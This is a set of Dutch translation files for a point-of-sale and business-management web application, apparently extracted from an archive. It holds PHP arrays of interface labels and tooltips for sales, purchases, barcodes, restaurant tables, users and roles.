'woocommerce_sync' => 'WooCommerce-synchronisatie', 'enable' => 'Inschakelen', 'disable' => 'Uitschakelen', 'cmmsn_calculation_type' => 'Commissieberekeningstype', 'invoice_value' => 'Factuurwaarde', 'total_payment_with_commsn' => 'Totale betaling met commissie', 'payments_with_cmmsn' => 'Betalingen met commissie', 'view_all_drafts' => 'Bekijk alle concepten', 'view_own_drafts' => 'Bekijk eigen concepten', 'edit_draft' => 'Concept bewerken', 'delete_draft' => 'Verwijder concept', 'view_all_quotations' => 'Bekijk alle offertes', 'view_own_quotations' => 'Bekijk eigen offertes', 'edit_quotation' => 'Bewerk offerte', 'delete_quotation' => 'Verwijder offerte', 'primary_work_location' => 'Primaire werklocatie', 'labels_for_purchase_shipping_custom_fields' => 'Labels voor aangepaste verzendingsvelden voor aankopen', 'view_own_purchase_n_stock_adjustment' => 'Bekijk eigen Inkoop & Voorraadaanpassing', 'view_all_purchase_n_stock_adjustment' => 'Bekijk alle Aankoop & Voorraadaanpassing', 'access_all_shipments' => 'Toegang tot alle zendingen', 'view_all_sale' => 'Bekijk alle verkopen', 'total_quantity' => 'Totale kwantiteit', 'pending_shipments' => 'Zendingen in behandeling', 'view_paid_sells_only' => 'Alleen betaalde verkopen bekijken', 'view_due_sells_only' => 'Alleen openstaande verkopen bekijken', 'view_partially_paid_sells_only' => 'Alleen gedeeltelijk betaalde verkopen bekijken', 'view_overdue_sells_only' => 'Alleen achterstallige verkopen bekijken', 'customer_with_no_sell_one_month' => 'Bekijk klanten zonder verkoop vanaf slechts één maand', 'customer_with_no_sell_three_month' => 'Bekijk klanten zonder verkoop vanaf drie maanden', 'customer_with_no_sell_six_month' => 'Bekijk klanten zonder verkoop pas vanaf zes maanden', 'customer_with_no_sell_one_year' => 'Bekijk klanten zonder verkoop van slechts één jaar', 'customer_permissions_tooltip' => 'Om alle klanten te zien zonder verkopen van een bepaalde tijd <b>Alle klanten bekijken</b> is toestemming vereist, anders wordt er gefilterd met alleen klanten die zijn aangemaakt door de ingelogde gebruiker', 'sell_permissions_tooltip' => 'Om verkopen te bekijken op basis van betalingsstatus <b>Alle verkopen bekijken</b> is toestemming vereist, anders wordt gefilterd met alleen verkopen gemaakt door de ingelogde gebruiker', 'access_pending_shipments_only' => 'Alleen toegang tot zendingen die in behandeling zijn', 'access_all_sell_return' => 'Toegang tot alle verkopen retrun', 'access_own_sell_return' => 'Toegang tot eigen verkoop retrun', 'proforma_heading' => 'Proforma factuurkop', 'tooltip_proforma_heading' => 'Proforma-factuurkop wordt gebruikt bij het verstrekken van Proforma aan klanten.', 'line_taxes' => 'Lijn belastingen', 'add_additional_expenses' => 'Voeg extra kosten toe', 'additional_expense_name' => 'Naam extra uitgave', 'purchase_additional_expense' => 'Aankoop extra kosten', 'qr_code' => 'QR code', 'show_qr_code' => 'Laat QR-code zien', 'fields_to_be_shown' => 'Te tonen velden', 'business_location_address' => 'Bedrijfslocatie adres', 'business_tax_1' => 'Bedrijfsbelasting 1', 'business_tax_2' => 'Bedrijfsbelasting 2', 'invoice_datetime' => 'Factuur Datumtijd', 'total_amount_with_tax' => 'Totaal bedrag met belasting', 'total_bank_transfer' => 'Totale overschrijving', 'total_advance_payment' => 'Totaal voorschot', 'commission_agent_label' => 'Etiket van de commissaris', 'show_commission_agent' => 'Toon tussenpersoon', 'cannot_change_role' => 'Kan niet van rol veranderen', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Betalingslink', 'enable_payment_link' => 'Betaallink inschakelen', 'payment_link_help_text' => 'Door gebruikers in staat te stellen facturen te betalen via betaallink', 'invoice_payment' => 'Factuur betalen', 'payment_for_invoice_no' => 'Betaling voor factuurnummer', 'pending_shipments' => 'Zendingen in behandeling', 'sources' => 'Bronnen', 'stripe_secret_key' => 'Geheime streepsleutel', 'stripe_public_key' => 'Gestreepte openbare sleutel', 'edit_opening_balance' => 'Bewerk openingssaldo', 'edit_fund_transfer' => 'Overboeking bewerken', 'edit_deposit' => 'Aanbetaling bewerken', 'deposit_to' => 'Storten op', 'transfer_from' => 'Overboeking van', 'edit_account_transaction' => 'Rekeningtransactie bewerken', 'delete_account_transaction' => 'Verwijder rekeningtransactie', 'add_purchase_payment' => 'Aankoopbetaling toevoegen', 'edit_purchase_payment' => 'Aankoopbetaling bewerken', 'delete_purchase_payment' => 'Aankoopbetaling verwijderen', 'add_sell_payment' => 'Verkoopbetaling toevoegen', 'edit_sell_payment' => 'Verkoopbetaling bewerken', 'delete_sell_payment' => 'Verwijder verkoopbetaling', 'sales_order_heading' => 'Koop van verkooporder', 'account_balance' => 'Rekeningsaldo', 'total_balance' => 'Eindbalans', 'account_balance_tooltip' => 'Totaal saldo van de betreffende rekening', 'total_balance_tooltip' => 'Totaal saldo van alle rekeningen', 'sell_additional_expense' => 'Verkoop extra kosten', 'view_export_buttons' => 'Bekijk export naar knoppen (csv/excel/print/pdf) op tabellen', 'overall' => 'Algemeen', 'show_labels' => 'Laat zien', 'zatca_qr' => 'ZATCA (Fatoora) QR-code', 'zatca_qr_help' => 'Voor het land van Saoedi-Arabië', 'customer_irrespective_of_sell' => 'Bekijk klanten ongeacht hun verkoop', 'img_url_help_text' => 'Of URL van de afbeelding', 'delivery_person' => 'Bezorger', 'enable_service_staff_pin' => 'Schakel pincode voor medewerkers in', 'staff_pin' => 'Medewerkers Pincode', 'tooltip_is_enable_service_staff_pin' => 'Indien ingeschakeld, moet tijdens de verkoop/POS bij selectie van deze gebruiker als servicemedewerker een pincode worden ingevoerd. Een onjuiste pincode staat niet toe dat deze gebruiker wordt geselecteerd als servicemedewerker.', 'kitchen_order' => 'Keukenbestelling', 'kitchen_order_tooltip' => 'De bestelling wordt alleen naar de keuken gestuurd als deze optie is aangevinkt', 'disable_quotation' => 'Offerte uitschakelen', 'disable_card' => 'Kaart uitschakelen', 'assigned_to' => 'Toegewezen aan', 'has_no_sell_from' => 'Heeft geen verkoop van', 'delivery_note' => 'Afleveringsbon', 'above_mentioned_items_received_in_good_condition' => 'Bovenstaande vermelde items ontvangen in goede staat', 'received_by' => 'Ontvangen door', 'enter_details_below_to_check_repair_status' => 'Voer hieronder de details in om de reparatiestatus te controleren', 'search_by' => 'Zoeken op' ]; PK G �Z��c 2 2 nl/barcode.phpnu �[��� <?php return [ 'barcodes' => 'Barcodes', 'barcode_settings' => 'Barcode-instellingen', 'manage_your_barcodes' => 'Beheer je streepjescode-instellingen', 'all_your_barcode' => 'Al uw streepjescode-instellingen', 'setting_name' => 'Stickerblad instelling Naam', 'setting_description' => 'Instelling stickerblad Omschrijving', 'added_success' => 'Barcode-instelling is succesvol toegevoegd', 'updated_success' => 'Barcode-instelling succesvol bijgewerkt', 'deleted_success' => 'Barcode-instelling succesvol verwijderd', 'add_new_setting' => 'Nieuwe instelling toevoegen', 'add_barcode_setting' => 'Toevoegen sticker-sticker-instelling', 'edit_barcode_setting' => 'Bewerk de instelling van de barcodesticker', 'in_in' => 'In inches', 'width' => 'Breedte van de sticker', 'height' => 'Hoogte van de sticker', 'top_margin' => 'Extra bovenmarge', 'left_margin' => 'Extra linkermarge', 'row_distance' => 'Afstand tussen twee rijen', 'col_distance' => 'Afstand tussen twee kolommen', 'blank_stickers' => 'Blank Stickers', 'stickers_in_one_row' => 'Stickers in één rij', 'delete_confirm' => "Deze instelling wordt verwijderd \ n Weet je het zeker?", 'set_as_default' => 'Instellen als standaard', 'default' => 'Standaard', 'default_set_success' => 'Standaard ingesteld met succes', 'stickers_in_one_sheet' => 'Aantal stickers per vel', 'is_continuous' => 'Continuous feed or rolls', 'products' => 'Producten', 'no_of_labels' => 'Aantal etiketten', 'info_in_labels' => 'Informatie die in labels wordt weergegeven', 'print_name' => 'Productnaam', 'print_variations' => 'Productvariatie (aanbevolen)', 'print_price' => 'Product prijs', 'show_price' => 'Show Price', 'preview' => 'Preview', 'print_business_name' => 'Bedrijfsnaam', 'barcode_setting' => 'Barcode-instelling', 'paper_width' => 'Papierbreedte', 'paper_height' => 'Papierhoogte', 'print_labels' => 'Print Labels', 'labels' => 'Labels', ]; PK G �Z��W�N N nl/user.phpnu �[��� <?php return [ 'edit_profile' => 'Bewerk profiel', 'change_password' => 'Verander wachtwoord', 'current_password' => 'Huidig wachtwoord', 'new_password' => 'Nieuw paswoord', 'confirm_new_password' => 'Bevestig nieuw wachtwoord', 'user_management' => 'Gebruikersbeheer', 'roles' => 'Rollen', 'users' => 'Gebruikers', 'manage_roles' => 'Rollen beheren', 'all_roles' => 'Alle rollen', 'add_role' => 'Rol toevoegen', 'role_name' => 'Rol naam', 'permissions' => 'Rechten', 'role_added' => 'Rol succesvol toegevoegd', 'role_already_exists' => 'Rol met dezelfde naam bestaat al', 'edit_role' => 'Bewerk rol', 'role_updated' => 'Rol is succesvol bijgewerkt', 'role_deleted' => 'Rol succesvol verwijderd', 'manage_users' => 'Gebruikers beheren', 'all_users' => 'Alle gebruikers', 'name' => 'Naam', 'role' => 'Rol', 'add_user' => 'Voeg gebruiker toe', 'user_added' => 'Gebruiker is succesvol toegevoegd', 'role_is_default' => 'U kunt deze rol niet wijzigen', 'edit_user' => 'Bewerk gebruiker', 'leave_password_blank' => 'Laat het wachtwoordveld leeg als u het wachtwoord niet wilt bijwerken', 'user_update_success' => 'Gebruiker is succesvol bijgewerkt', 'user_delete_success' => 'Gebruiker is succesvol verwijderd', ]; PK G �Z� _ nl/restaurant.phpnu �[��� <?php return [ 'restaurant' => 'Restaurant', 'tables' => 'Tables', 'table' => 'Tafel', 'manage_your_tables' => 'Beheer restauranttafels', 'all_your_tables' => 'Alle restauranttafels', 'description' => 'Omschrijving', 'add_table' => 'Tabel toevoegen', 'edit_table' => 'Bewerk tabel', 'table_name' => 'Tafel naam', 'short_description' => 'Korte beschrijving', 'select_table' => 'Selecteer een tafel', 'show_table' => 'Show tafel', 'table_label' => 'Tafellabel', 'show_service_staff' => 'Show service staff', 'service_staff_label' => 'Servicepersoneelslabel', 'select_waiter' => 'Selecteer ober', 'modifiers' => 'Modifiers', 'modifier_sets' => 'Modifiersets', 'manage_your_modifiers' => 'Beheer alle restaurant modifiers', 'all_your_modifiers' => 'Alle modifiers', 'add_modifier' => 'Add Modifier', 'modifier_set' => 'Modifier Set', 'modifier' => 'Modifiers', 'edit_modifier' => 'Bewerk Modifier', 'manage_products' => 'Producten beheren', 'products' => 'Producten', 'modifiers_for_product' => 'Modifiers voor product', 'kitchen' => 'Keuken', 'mark_as_cooked' => 'Markeer als gekookt', 'manage_your_kitchen' => 'Beheer je keuken', 'all_orders' => 'Alle bestellingen', 'order_no' => 'Bestelnr.', 'order_statuses' => [ 'received' => 'Ontvangen', 'cooked' => 'Gekookt', 'served' => 'Served', '' => 'Served', ], 'order_successfully_marked_cooked' => 'Bestel succesvol gemarkeerd als gekookt', 'order_successfully_marked_served' => 'Bestelling succesvol gemarkeerd als geserveerd', 'orders' => 'Orders', 'manage_your_orders' => 'Beheer uw bestellingen', 'all_your_orders' => 'Al uw bestellingen', 'mark_as_served' => 'Markeren als geserveerd', 'placed_at' => 'Geplaatst op', 'order_status' => 'Bestelstatus', 'order_details' => 'Bestel Details', 'refresh' => 'Refresh', 'no_orders_found' => 'Geen bestellingen gevonden', 'select_service_staff' => 'Selecteer servicepersoneel', 'service_staff' => 'Bedienend personeel', 'kitchen_for_restaurant' => 'Keuken (voor restaurants)', 'products_for_modifier' => 'Producten voor modifier', 'is_service_staff' => 'Is service personeel', 'tooltip_tables' => 'Meestal gebruikt in restaurants, bars, salons enz.', 'tooltip_modifiers' => 'Extra items toegevoegd aan het hoofdproduct <br> Voorbeeld: Toppings, Kaas', 'tooltip_service_staff' => 'Persoon die de aangewezen service levert aan klanten <br> Voorbeeld: Wachtend personeel in restaurants, Kappers in salon', 'modules_settings' => 'Modules instellingen', 'bookings' => 'Boekingen', 'add_edit_view_all_booking' => 'Toevoegen / bewerken / bekijk alle boekingen', 'add_edit_view_own_booking' => 'Eigen boekingen toevoegen / bewerken / bekijken', 'add_booking' => 'Nieuwe boeking toevoegen', 'start_time' => 'Starttijd', 'end_time' => 'Eindtijd', 'booking_not_available' => 'Tabel al geboekt voor <b>:customer_name</b> tussen <b>:booking_time_range</b>', 'select_correspondent' => 'Selecteer correspondent', 'send_notification_to_customer' => 'Stuur een e-mail / sms-bericht naar de klant', 'booking_details' => 'Boekingsgegevens', 'correspondent' => 'Correspondent', 'booking_starts' => 'Boeking begint', 'booking_ends' => 'Boeking eindigt', 'cancelled' => 'Geannuleerd', 'completed' => 'Voltooid', 'change_booking_status' => 'Boekingsstatus wijzigen', 'booked' => 'Geboekt', 'delete_booking' => 'Wis boeking', 'click_on_any_booking_to_view_or_change_status' => 'Klik op een boeking om details te bekijken of de status te wijzigen', 'double_click_on_any_day_to_add_new_booking' => 'Dubbelklik op een dag om nieuwe boeking toe te voegen', 'todays_bookings' => 'Boekingen van vandaag', 'hello_name' => 'Hallo :name!', 'booking_confirmed' => 'Uw boeking is bevestigd.', 'table_info' => 'Tabel: :table', 'booking_time_info' => 'Van :from # NAAR :to', 'new_booking_subject' => 'Nieuwe boeking -:business_name', 'customer_note' => 'Opmerking van de klant', 'table_report' => 'Tabelrapport', 'service_staff_report' => 'Service Staff Report', 'service_staff_replacement' => 'Vervanging van servicepersoneel', ]; PK G �Z��*�p p nl/purchase.phpnu �[��� <?php return [ 'supplier' => 'Leverancier', 'ref_no' => 'Referentienummer', 'business_location' => 'Bedrijfslocatie', 'purchases' => 'Aankopen', 'add_payment' => 'Betaling toevoegen', 'edit_payment' => 'Bewerk betaling', 'view_payments' => 'Bekijk betalingen', 'amount_already_paid' => 'Bedrag al betaald', 'payment_added_success' => 'Betaling succesvol toegevoegd', 'payment_updated_success' => 'Betaling succesvol bijgewerkt', 'payment_deleted_success' => 'Betaling succesvol verwijderd', 'amount' => 'Bedrag', 'payment_method' => 'Betalingsmiddel', 'no_records_found' => 'Geen verslagen gevonden', 'payment_due' => 'Betaling vereist', 'purchase_total' => 'Purchase Total', 'location' => 'Plaats', 'payment_note' => 'Betalingsbewijs', 'all_purchases' => 'Alle aankopen', 'purchase_status' => 'Inkoopstatus', 'payment_status' => 'Betalingsstatus', 'grand_total' => 'Eindtotaal', 'add_purchase' => 'Koop toevoegen', 'purchase_date' => 'Aankoopdatum', 'purchase_quantity' => 'Aankoop hoeveelheid', 'unit_cost_before_tax' => 'Eenheidskosten (vóór belasting)', 'subtotal_before_tax' => 'Subtotaal (vóór belasting)', 'product_tax' => 'Productbelasting', 'net_cost' => 'Nettokosten', 'line_total' => 'Lijn totaal', 'unit_selling_price' => 'Verkoopprijs per eenheid', 'total_before_tax' => 'Totaal voor belasting', 'net_total_amount' => 'Netto Totaalbedrag', 'discount_type' => 'Kortingstype', 'discount_amount' => 'Korting hoeveelheid', 'discount' => 'Korting', 'edit_purchase' => 'Bewerk aankoop', 'purchase_tax' => 'Purchase Tax', 'shipping_details' => 'Verzendgegevens', 'additional_shipping_charges' => 'Extra verzendkosten', 'additional_notes' => 'Extra notities', 'purchase_add_success' => 'Aankoop succesvol toegevoegd', 'purchase_update_success' => 'Aankoop succesvol bijgewerkt', 'purchase_details' => 'Aankoopdetails', 'unit_cost_after_tax' => 'Eenheid kostprijs (na belasting)', 'total_after_tax' => 'Totaal na belasting', 'no_payments' => 'Geen betalingen gevonden', 'allow_purchase_different_currency' => 'Aankopen in andere valuta', 'purchase_currency' => 'Aankoopvaluta', 'p_exchange_rate' => 'Wisselkoers', 'diff_purchase_currency_help' => 'Aankoopvaluta is ingesteld op <strong> :currency </strong>', 'list_purchase' => 'Lijstaankopen', 'attach_document' => 'Document bijvoegen', 'download_document' => 'Download document', 'max_file_size' => 'Max Bestandsgrootte: :sizeMB', ]; PK G �Z���T� � nl/business.phpnu �[��� <?php return [ 'register_and_get_started_in_minutes' => 'Registreren en aan de slag in minuten', 'business_name' => 'Bedrijfsnaam', 'start_date' => 'Begin datum', 'currency' => 'Valuta', 'currency_placeholder' => 'Selecteer valuta', 'upload_logo' => 'Upload-logo', 'country' => 'Land', 'state' => 'Staat', 'city' => 'Stad', 'zip_code' => 'Postcode', 'zip_code_placeholder' => 'Postcode / Postcode', 'landmark' => 'Oriëntatiepunt', 'tax_1_name' => 'Tax 1 Name', 'tax_1_no' => 'Belasting nr. 1', 'tax_2_name' => 'Tax 2 Name', 'tax_2_no' => 'Belasting 2 Nee.', 'tax_1_placeholder' => 'GST / VAT / Other', 'prefix' => 'Voorvoegsel', 'prefix_placeholder' => 'Mijnheer Mevrouw Mejuffrouw', 'first_name' => 'Voornaam', 'last_name' => 'Achternaam', 'username' => 'Username', 'email' => 'E-mail', 'password' => 'Wachtwoord', 'confirm_password' => 'Bevestig wachtwoord', 'register' => 'Registreren', 'business' => 'Bedrijf', 'address' => 'Adres', 'logo_help' => 'Vorig logo (indien aanwezig) wordt vervangen', 'update_settings' => 'Update-instellingen', 'business_settings' => 'Bedrijfsinstellingen', 'settings_updated_success' => 'Instellingen succesvol bijgewerkt', 'default_profit_percent' => 'Standaard winstpercentage', 'default_sales_tax' => 'Standaard verkoopbelasting', 'default_sales_discount' => 'Default Sale Discount', 'business_details' => 'Bedrijfsgegevens', 'tax' => 'Tax', 'tax_details' => 'Belastinggegevens', 'owner' => 'Eigenaar', 'owner_info' => 'Eigenaarsinformatie', 'sale' => 'Verkoop', 'sell_price_tax' => 'Verkoopprijs', 'product' => 'Artikel', 'sku_prefix' => 'SKU-voorvoegsel', 'language' => 'Taal', 'time_zone' => 'Tijdzone', 'months' => [ 1 => 'Januari', 2 => 'februari', 3 => 'maart', 4 => 'April', 5 => 'Mei', 6 => 'Juni', 7 => 'Juli', 8 => 'Augustus', 9 => 'September', 10 => 'Oktober', 11 => 'November', 12 => 'December', ], 'fy_start_month' => 'Begindatum van het financiële jaar', 'accounting_method' => 'Boekhoudmethode', 'fifo' => 'FIFO (First In First Out)', 'lifo' => 'LIFO (Last In First Out)', 'business_locations' => 'Bedrijfslocaties', 'business_location' => 'Bedrijfslocatie', 'manage_your_business_locations' => 'Beheer uw bedrijfslocaties', 'all_your_business_locations' => 'Al uw bedrijfslocaties', 'add_business_location' => 'Voeg een nieuwe bedrijfslocatie toe', 'business_location_added_success' => 'Bedrijfslocatie is succesvol toegevoegd', 'edit_business_location' => 'Bewerk bedrijfslocatie', 'business_location_updated_success' => 'Bedrijfslocatie is succesvol bijgewerkt', 'location' => 'Plaats', 'already_registered' => 'Al geregistreerd?', 'sign_in' => 'Aanmelden', 'not_yet_registered' => 'Nog niet geregistreerd?', 'register_now' => 'Registreer nu', 'system' => 'Systeem', 'show_help_text' => 'Help-tekst tonen', 'mobile' => 'Mobile', 'alternate_number' => 'Alternatief contactnummer', 'email' => 'E-mail', 'settings' => 'Instellingen', 'transaction_edit_days' => 'Transactie bewerkingsdagen', 'dashboard' => 'Dashboard', 'view_stock_expiry_alert_for' => 'Voorraadverloopbericht bekijken voor', 'days' => 'Dagen', 'system_settings' => 'Systeem instellingen', 'add_keyboard_shortcuts' => 'Sneltoetsen toevoegen', 'operations' => 'Activiteiten', 'keyboard_shortcut' => 'Toetsenbord sneltoets', 'business_created_succesfully' => 'Zakelijk gemaakt met succes !!', 'tax_number1' => 'BTW nummer 1', 'tax_number2' => 'BTW nummer 2', 'is_active' => 'Actief', 'created_by' => 'Gemaakt door', ]; PK G �Zy�U�C C nl/cash_register.phpnu �[��� <?php return [ 'cash_register' => 'Kassa', 'manage_your_cash_register' => "Beheer kassa's", 'all_your_cash_register' => "Alle kassa's", 'cash_in_hand' => 'Contant geld in de hand', 'open_cash_register' => 'Open kassa', 'enter_amount' => 'Voer een bedrag in', 'open_register' => 'Open Register', 'register_details' => 'Registreer details', 'cash_payment' => 'Contante betaling', 'checque_payment' => 'Cheque Betaling', 'card_payment' => 'Kaart betaling', 'bank_transfer' => 'Overschrijving', 'other_payments' => 'Andere betalingen', 'total_sales' => 'Totale verkoop', 'total_cash' => 'Totaal contant', 'current_register' => 'Huidig register', 'close_register' => 'Close Register', 'total_card_slips' => 'Total Card Slips', 'total_cheques' => 'Totaal aantal controles', 'closing_note' => 'Slotnotitie', 'close_success' => 'Register succesvol afgesloten', 'open' => 'Open', 'close' => 'Dichtbij', 'total_refund' => 'Totale restitutie', 'refunds' => 'Restitutie', ]; PK G �Zp�ڙ� � nl/tooltip.phpnu �[��� <?php return [ 'product_stock_alert' => "Producten met een lage voorraad. <br/> <small class = 'text-muted'> Op basis van de productwaarschuwingshoeveelheid die is ingesteld in het scherm Product toevoegen. <br> Aankoop van deze producten voordat de voorraad eindigt. </small>", 'payment_dues' => "In afwachting van betaling voor aankopen. <br/> <kleine klasse = 'tekst-gedempt'> Gebaseerd op de betalingstermijn van de leverancier. <br/> Betalingen moeten worden betaald binnen 7 dagen of minder. </small>", 'input_tax' => 'Totale belasting geïnd voor verkoop binnen de geselecteerde periode.', 'output_tax' => 'Totale belasting betaald voor aankopen voor de geselecteerde periode.', 'tax_overall' => 'Verschil tussen totaal geïncasseerde belasting en totale belasting betaald binnen de geselecteerde tijdsperiode.', 'purchase_due' => 'Totaal onbetaald bedrag voor aankopen.', 'sell_due' => 'Totaal te ontvangen bedrag uit verkopen', 'over_all_sell_purchase' => '-ve value = Bedrag om te betalen <br> + ve Waarde = Bedrag om te ontvangen', 'no_of_products_for_trending_products' => 'Aantal top trendproducten te vergelijken in de onderstaande grafiek.', 'top_trending_products' => "Bestverkopende producten van uw winkel. <br/> <small class = 'text-muted'> Pas filters toe om bekende producten te kennen voor specifieke categorie, merk, bedrijfslocatie enz. </small>", 'sku' => "Unieke product-ID of Voorraadbewaareenheid <br> <br> houd het leeg om automatisch sku te genereren. <br> <small class = 'text-muted'> U kunt sku-prefix wijzigen in Business-instellingen . </small> ", 'enable_stock' => 'Voorraadbeheer voor een product in- of uitschakelen.', 'alert_quantity' => "Ontvang een melding wanneer de voorraad van het product de opgegeven hoeveelheid bereikt of overschrijdt. <br> <br> <small class = 'text-muted'> Producten met een lage voorraad worden weergegeven in het dashboard - Product Stock Alert-sectie. </small>", 'product_type' => '<b> Eén product </ b>: product zonder varianten. <br> <b> variabel product </ b>: product met variaties zoals grootte, kleur, enzovoort.', 'profit_percent' => "Standaard winstmarge voor het product. <br> <small class = 'tekst-gedempt'> (<i> U kunt de standaard winstmarge beheren in Bedrijfsinstellingen. </ I>) </small>", 'pay_term' => "Betalingen moeten worden betaald voor aankopen binnen de opgegeven periode. <br/> <small class = 'text-muted'> Alle aanstaande of verschuldigde betalingen worden weergegeven in dashboard - Payment Due section </small>", 'order_status' => 'Producten in deze aankoop zijn alleen beschikbaar voor verkoop als de <b> Bestellingsstatus </ b> is <b> Items ontvangen </ b>.', 'purchase_location' => 'Bedrijfslocatie waar het gekochte product beschikbaar zal zijn voor verkoop.', 'sale_location' => 'Bedrijfslocatie waar u wilt verkopen', 'sale_discount' => "Stel 'Standaard uitverkoopkorting' in voor alle verkopen in zakelijke instellingen Klik hieronder op het pictogram Bewerken om korting toe te voegen / bij te werken.", 'sale_tax' => "Stel 'Standaard verkoopbelasting' in voor alle verkopen in zakelijke instellingen Klik hieronder op het pictogram Bewerken om de btw toe te voegen / bij te werken.", 'default_profit_percent' => "Standaard winstmarge van een product. <br> <small class = 'text-muted'> Wordt gebruikt om de verkoopprijs te berekenen op basis van de ingevoerde inkoopprijs. <br/> U kunt deze waarde aanpassen voor individuele producten tijdens het toevoegen van </small> ", 'fy_start_month' => 'Begindatum van het boekjaar voor uw bedrijf', 'business_tax' => 'Geregistreerd belastingnummer voor uw bedrijf.', 'invoice_scheme' => "Factuurschema betekent formaat factuurnummering Selecteer het schema dat moet worden gebruikt voor deze bedrijfslocatie <br> <small class = 'sms-gestuurd'> <i> U kunt nieuw facturenplan toevoegen </ b> in Factuurinstellingen </ i > </small> ", 'invoice_layout' => "Factuurindeling voor deze bedrijfslocatie <br> <br> <small class = 'text-muted'> (<i> U kunt nieuwe <b> Factuurindeling </ b> toevoegen in <b> Factuurinstellingen <b> < / i>) </small> ", 'invoice_scheme_name' => 'Geef een korte betekenisvolle naam aan de factuurregeling.', 'invoice_scheme_prefix' => 'Voorvoegsel voor een facturatieschema. <br> Een voorvoegsel kan een aangepaste tekst of het huidige jaar zijn. Vb .: # XXXX0001, # 2018-0002', 'invoice_scheme_start_number' => "Startnummer voor factuurnummering. <br> <small class = 'text-muted'> U kunt er 1 of elk ander nummer van maken waarvan de nummering start. </small>", 'invoice_scheme_count' => 'Totaal aantal facturen dat is gegenereerd voor het factureringsschema', 'invoice_scheme_total_digits' => 'Lengte van het factuurnummer exclusief factuurvoorvoegsel', 'tax_groups' => 'Groepsbelastingtarieven - hierboven gedefinieerd, te gebruiken in combinatie in de sectie Inkoop / Verkoop.', 'unit_allow_decimal' => 'Met decimalen kunt u de gerelateerde producten in breuken verkopen.', 'print_label' => 'Producten toevoegen -> Kies informatie die u wilt weergeven in Labels -> Selecteer Barcode-instelling -> Voorbeeldlabels -> Afdrukken', 'expense_for' => 'Kies de gebruiker voor welke kosten verband houdt. <I> (Optioneel) </ i> <br/> <small> Voorbeeld: salaris van een werknemer. </small>', 'all_location_permission' => 'Als <b> Alle locaties </ b> geselecteerd, heeft deze rol toegang tot alle bedrijfslocaties', 'dashboard_permission' => 'Als dit selectievakje niet is ingeschakeld, wordt alleen het welkomstbericht weergegeven in de startpagina.', 'access_locations_permission' => 'Kies alle locaties waartoe deze rol toegang heeft.Alle gegevens voor de geselecteerde locatie worden alleen aan de gebruiker getoond. <br/> <br/> <small> Voorbeeld: U kunt dit gebruiken om <i> winkelmanager / kassier te definiëren / Voorraadmanager / Branchemanager </ i> van een bepaalde locatie. </small> ', 'print_receipt_on_invoice' => 'Automatisch afdrukken van factuur bij het finaliseren in- of uitschakelen', 'receipt_printer_type' => '<i> Afdrukken via browser </ i>: dialoogvenster Afdrukken tonen in browser met voorbeeld van factuur <br/> <br/> <i> Gecertificeerde bon gebruiken </ i>: Selecteer een geconfigureerde bon / thermische printer voor printing ', 'adjustment_type' => '<i> Normaal </ i>: Aanpassing om normale redenen zoals Lekkage, Schade enz. <br/> <br/> <i> Abnormaal </ i>: Aanpassing om redenen zoals Brand, Ongeval etc.', 'total_amount_recovered' => 'Bedrag teruggevorderd van verzekering of verkoop van restanten of van andere', 'express_checkout' => 'Markeer contant en volledig betaald', 'total_card_slips' => 'Totaal aantal kaartbetalingen gebruikt in dit register', 'total_cheques' => 'Totaal aantal controles gebruikt in dit register', 'capability_profile' => "Ondersteuning voor opdrachten en codepagina's varieert tussen printerleveranciers en modellen. Als je het niet zeker weet, is het een goed idee om het 'eenvoudige' Capability Profile te gebruiken", 'purchase_different_currency' => 'Selecteer deze optie als u in een andere valuta dan uw zakelijke valuta koopt', 'currency_exchange_factor' => "1 Aankoopvaluta =? Basisvaluta <br> <small class='text-muted'> U kunt de 'Aankoop in andere valuta' vanuit bedrijfsinstellingen inschakelen / uitschakelen. </small>", 'accounting_method' => 'Boekhoudmethode', 'transaction_edit_days' => 'Aantal dagen vanaf transactiedatum tot welke een transactie kan worden bewerkt.', 'stock_expiry_alert' => "Lijst van aandelen die verlopen over :days dagen <br> <small class='text-muted'> U kunt het aantal dagen instellen in Bedrijfsinstellingen </small>", ]; PK G �Z�b�b& & nl/role.phpnu �[��� <?php return [ 'add_role' => 'Rol toevoegen', 'edit_role' => 'Rol bewerken', 'user' => 'Gebruiker', 'supplier' => 'Leverancier', 'customer' => 'Klant', 'purchase' => 'Aankoop & Voorraadaanpassing', 'report' => 'Verslag doen van', 'user.view' => 'Bekijk gebruiker', 'user.create' => 'Voeg gebruiker toe', 'user.update' => 'Bewerk gebruiker', 'user.delete' => 'Verwijder gebruiker', 'supplier.view' => 'Bekijk leverancier', 'supplier.create' => 'Voeg leverancier toe', 'supplier.update' => 'Bewerk leverancier', 'supplier.delete' => 'Verwijderen leverancier', 'customer.view' => 'Bekijk klant', 'customer.create' => 'Klant toevoegen', 'customer.update' => 'Bewerk klant', 'customer.delete' => 'Klant verwijderen', 'product.view' => 'Bekijk product', 'product.create' => 'Voeg product toe', 'product.update' => 'Bewerk product', 'product.delete' => 'Product verwijderen', 'purchase.view' => 'Bekijk aankoop en voorraadcorrectie', 'purchase.create' => 'Koop toevoegen & Voorraad aanpassen', 'purchase.update' => 'Bewerk aankoop & voorraadcorrectie', 'purchase.delete' => 'Koop en voorraad aanpassen', 'sell.view' => 'Bekijk verkoop POS', 'sell.create' => 'POS verkopen toevoegen', 'sell.update' => 'Verkoop POS verkopen', 'sell.delete' => 'POS verkopen verwijderen', 'purchase_n_sell_report.view' => 'Bekijk aan- en verkooprapport', 'contacts_report.view' => 'Bekijk leverancier & klantrapport', 'stock_report.view' => 'Bekijk voorraadrapport, voorraadcorrectie rapport & voorraadvervalverslag', 'tax_report.view' => 'Bekijk belastingrapport', 'trending_product_report.view' => 'Bekijk trending productrapport', 'register_report.view' => 'Bekijk registerrapport', 'sales_representative.view' => 'Rapport verkoopvertegenwoordiger bekijken', 'expense_report.view' => 'Kostenoverzicht bekijken', 'business_settings.access' => 'Toegang tot zakelijke instellingen', 'barcode_settings.access' => 'Toegang tot barcode-instellingen', 'invoice_settings.access' => 'Toegang tot factuurinstellingen', 'brand.view' => 'Bekijk merk', 'brand.create' => 'Voeg merk toe', 'brand.update' => 'Merk bewerken', 'brand.delete' => 'Verwijder merk', 'tax_rate.view' => 'Bekijk belastingtarief', 'tax_rate.create' => 'Belastingtarief toevoegen', 'tax_rate.update' => 'Belastingtarief bewerken', 'tax_rate.delete' => 'Wis belastingtarief', 'unit.view' => 'Bekijk eenheid', 'unit.create' => 'Voeg eenheid toe', 'unit.update' => 'Bewerk eenheid', 'unit.delete' => 'Unit verwijderen', 